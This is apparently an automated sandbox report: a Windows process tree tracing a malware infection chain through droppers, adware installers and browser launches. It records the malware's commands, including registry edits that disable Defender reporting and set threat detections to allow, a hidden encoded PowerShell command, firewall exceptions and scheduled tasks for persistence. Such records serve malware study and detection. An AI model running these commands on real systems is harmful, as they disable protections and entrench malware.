- Executes dropped EXE
PID:1348

C:\Users\Admin\Pictures\Adobe Films\build.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\build.exe.exe"
4⤵
PID:3116

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\5a5a3e60-95da-4185-a2ba-82069a41aa26" /deny *S-1-1-0:(OI)(CI)(DE,DC)
5⤵
- Modifies file permissions
PID:3396

C:\Users\Admin\Pictures\Adobe Films\build.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\build.exe.exe" --Admin IsNotAutoStart IsNotTask
5⤵
PID:3572

C:\Users\Admin\Pictures\Adobe Films\build.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\build.exe.exe" --Admin IsNotAutoStart IsNotTask
6⤵
PID:4900

C:\Users\Admin\AppData\Local\1a8c055c-ec61-4aca-97ed-a8096cf434fe\build2.exe
"C:\Users\Admin\AppData\Local\1a8c055c-ec61-4aca-97ed-a8096cf434fe\build2.exe"
7⤵
PID:4420

C:\Users\Admin\AppData\Local\1a8c055c-ec61-4aca-97ed-a8096cf434fe\build2.exe
"C:\Users\Admin\AppData\Local\1a8c055c-ec61-4aca-97ed-a8096cf434fe\build2.exe"
8⤵
PID:3140

C:\Users\Admin\Pictures\Adobe Films\yare1095.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\yare1095.exe.exe"
3⤵
- Executes dropped EXE
PID:3416

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3416 -s 696
4⤵
- Program crash
PID:408

C:\Users\Admin\Pictures\Adobe Films\AdblockInstaller.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\AdblockInstaller.exe.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /pid=747
3⤵
PID:4672

C:\Users\Admin\AppData\Local\Temp\is-5P0UE.tmp\AdblockInstaller.exe.tmp
"C:\Users\Admin\AppData\Local\Temp\is-5P0UE.tmp\AdblockInstaller.exe.tmp" /SL5="$801C8,11860388,791040,C:\Users\Admin\Pictures\Adobe Films\AdblockInstaller.exe.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /pid=747
4⤵
- Executes dropped EXE
PID:2012

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im Adblock.exe
5⤵
- Kills process with taskkill
PID:5060

C:\Users\Admin\Programs\Adblock\Adblock.exe
"C:\Users\Admin\Programs\Adblock\Adblock.exe" --installerSessionId=b975079f1659625502 --downloadDate=2022-08-04T15:04:48 --distId=marketator --pid=747
5⤵
PID:4240

C:\Users\Admin\Programs\Adblock\crashpad_handler.exe
C:\Users\Admin\Programs\Adblock\crashpad_handler.exe --no-rate-limit "--database=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps" "--metrics-dir=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps" --url=https://o428832.ingest.sentry.io:443/api/5420194/minidump/?sentry_client=sentry.native/0.4.12&sentry_key=06798e99d7ee416faaf4e01cd2f1faaf "--attachment=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\b322fe30-95a1-4d5e-3c5c-270b91837274.run\__sentry-event" "--attachment=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\b322fe30-95a1-4d5e-3c5c-270b91837274.run\__sentry-breadcrumb1" "--attachment=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\b322fe30-95a1-4d5e-3c5c-270b91837274.run\__sentry-breadcrumb2" --initial-client-data=0x48c,0x490,0x494,0x468,0x498,0x7ff77825bc80,0x7ff77825bca0,0x7ff77825bcb8
6⤵
PID:4452

C:\Windows\system32\netsh.exe
C:\Windows\system32\netsh.exe firewall add allowedprogram "C:\Users\Admin\Programs\Adblock\DnsService.exe" AdBlockFast ENABLE
6⤵
- Modifies Windows Firewall
PID:5760

C:\Users\Admin\Programs\Adblock\DnsService.exe
C:\Users\Admin\Programs\Adblock\DnsService.exe -install
6⤵
PID:6128

C:\Users\Admin\Programs\Adblock\DnsService.exe
C:\Users\Admin\Programs\Adblock\DnsService.exe -start
6⤵
PID:3688

C:\Windows\system32\cmd.exe
"cmd.exe" /c "reg copy HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /s /f"
5⤵
PID:3736

C:\Windows\system32\cmd.exe
"cmd.exe" /c "reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /f"
5⤵
PID:1892

C:\Windows\system32\reg.exe
reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /f
6⤵
- Modifies registry key
PID:1888

C:\Users\Admin\Pictures\Adobe Films\setup331.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\setup331.exe.exe"
3⤵
- Executes dropped EXE
PID:5088

C:\Windows\SysWOW64\control.exe
"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\5VNCVdQR.CPl",
4⤵
PID:4044

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\5VNCVdQR.CPl",
5⤵
PID:4212

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\5VNCVdQR.CPl",
6⤵
PID:5632

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\5VNCVdQR.CPl",
7⤵
PID:5688

C:\Users\Admin\Pictures\Adobe Films\B2BCH2.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\B2BCH2.exe.exe"
3⤵
PID:4012

C:\Users\Admin\AppData\Local\Temp\is-DV9AO.tmp\B2BCH2.exe.tmp
"C:\Users\Admin\AppData\Local\Temp\is-DV9AO.tmp\B2BCH2.exe.tmp" /SL5="$401F2,254182,170496,C:\Users\Admin\Pictures\Adobe Films\B2BCH2.exe.exe"
4⤵
PID:4912

C:\Users\Admin\AppData\Local\Temp\is-CVSIQ.tmp\djkdj778_______.exe
"C:\Users\Admin\AppData\Local\Temp\is-CVSIQ.tmp\djkdj778_______.exe" /S /UID=91
5⤵
PID:4456

C:\Users\Admin\AppData\Local\Temp\dd-81f3c-ed0-ce990-56042c6a3357e\Dolojixaxy.exe
"C:\Users\Admin\AppData\Local\Temp\dd-81f3c-ed0-ce990-56042c6a3357e\Dolojixaxy.exe"
6⤵
PID:372

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
7⤵
PID:5744

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffe578446f8,0x7ffe57844708,0x7ffe57844718
8⤵
PID:5812

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2
8⤵
PID:5312

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
8⤵
PID:5344

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2672 /prefetch:8
8⤵
PID:5376

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:1
8⤵
PID:4892

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:1
8⤵
PID:4052

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4560 /prefetch:8
8⤵
PID:5924

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4564 /prefetch:1
8⤵
PID:2536

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5676 /prefetch:1
8⤵
PID:5692

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4816 /prefetch:8
8⤵
PID:4012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5944 /prefetch:8
8⤵
PID:5232

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
8⤵
PID:5696

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6040 /prefetch:1
8⤵
PID:2404

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6436 /prefetch:8
8⤵
PID:2124

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
8⤵
PID:5048

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff74a275460,0x7ff74a275470,0x7ff74a275480
9⤵
PID:4436

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2176,2851055821973134671,14187025988083859560,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6436 /prefetch:8
8⤵
PID:4940

C:\Users\Admin\AppData\Local\Temp\c4-6afb6-2da-ba8b7-87d8e7465bc2e\Tipopaedotae.exe
"C:\Users\Admin\AppData\Local\Temp\c4-6afb6-2da-ba8b7-87d8e7465bc2e\Tipopaedotae.exe"
6⤵
PID:756

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\r3cb5zy4.vzl\gcleaner.exe /mixfive & exit
7⤵
PID:2280

C:\Users\Admin\AppData\Local\Temp\r3cb5zy4.vzl\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\r3cb5zy4.vzl\gcleaner.exe /mixfive
8⤵
PID:5892

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\r3cb5zy4.vzl\gcleaner.exe" & exit
9⤵
PID:3036

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "gcleaner.exe" /f
10⤵
- Kills process with taskkill
PID:2588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5892 -s 492
9⤵
- Program crash
PID:5584

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ncdhmmqj.tcz\random.exe & exit
7⤵
PID:5524

C:\Users\Admin\AppData\Local\Temp\ncdhmmqj.tcz\random.exe
C:\Users\Admin\AppData\Local\Temp\ncdhmmqj.tcz\random.exe
8⤵
PID:6012

C:\Users\Admin\AppData\Local\Temp\ncdhmmqj.tcz\random.exe
"C:\Users\Admin\AppData\Local\Temp\ncdhmmqj.tcz\random.exe" -hq
9⤵
PID:100

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
10⤵
- Executes dropped EXE
PID:4672

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1w2ybtmg.4pq\toolspab3.exe & exit
7⤵
PID:5616

C:\Users\Admin\AppData\Local\Temp\1w2ybtmg.4pq\toolspab3.exe
C:\Users\Admin\AppData\Local\Temp\1w2ybtmg.4pq\toolspab3.exe
8⤵
PID:3504

C:\Users\Admin\AppData\Local\Temp\1w2ybtmg.4pq\toolspab3.exe
C:\Users\Admin\AppData\Local\Temp\1w2ybtmg.4pq\toolspab3.exe
9⤵
PID:1248

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sa5x3vag.oap\rmaa1045.exe & exit
7⤵
PID:4308

C:\Users\Admin\AppData\Local\Temp\sa5x3vag.oap\rmaa1045.exe
C:\Users\Admin\AppData\Local\Temp\sa5x3vag.oap\rmaa1045.exe
8⤵
PID:5372

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5372 -s 884
9⤵
- Program crash
PID:5568

C:\Program Files\Microsoft Office\FPDVTUYXOA\poweroff.exe
"C:\Program Files\Microsoft Office\FPDVTUYXOA\poweroff.exe" /VERYSILENT
6⤵
PID:4520

C:\Users\Admin\AppData\Local\Temp\is-MFBGJ.tmp\poweroff.tmp
"C:\Users\Admin\AppData\Local\Temp\is-MFBGJ.tmp\poweroff.tmp" /SL5="$20260,490199,350720,C:\Program Files\Microsoft Office\FPDVTUYXOA\poweroff.exe" /VERYSILENT
7⤵
PID:308

C:\Program Files (x86)\powerOff\Power Off.exe
"C:\Program Files (x86)\powerOff\Power Off.exe" -silent -desktopShortcut -programMenu
8⤵
PID:1828

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
2⤵
- Creates scheduled task(s)
PID:4792

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
2⤵
- Creates scheduled task(s)
PID:4748

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 3416 -ip 3416
1⤵
PID:2180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3220 -ip 3220
1⤵
PID:4928

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
1⤵
PID:3084

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
2⤵
PID:4008

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
2⤵
PID:4700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:2844

C:\Windows\system32\reg.exe
reg copy HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /s /f
1⤵
PID:1464

C:\Users\Admin\Programs\Adblock\DnsService.exe
C:\Users\Admin\Programs\Adblock\DnsService.exe
1⤵
PID:5112

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5892 -ip 5892
1⤵
PID:668

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 480 -p 5372 -ip 5372
1⤵
PID:5984

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
1⤵
- Process spawned unexpected child process
PID:5756

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",global
2⤵
PID:6112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6112 -s 608
3⤵
- Program crash
PID:6096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 6112 -ip 6112
1⤵
PID:216

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2f0 0x4cc
1⤵
PID:4064

C:\Users\Admin\AppData\Local\Temp\BInNSjlobDuvYZgQA\dWABRBnWrovPiXF\IyzdJHG.exe
C:\Users\Admin\AppData\Local\Temp\BInNSjlobDuvYZgQA\dWABRBnWrovPiXF\IyzdJHG.exe Yz /site_id 525403 /S
1⤵
PID:2192

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
PID:4160

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:5320

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:5756

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:4032

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:3740

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:1420

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:4856

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:3476

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:5092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:5488

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:3112

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:4840

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:5412

C:\Windows\SysWOW64\reg.exe
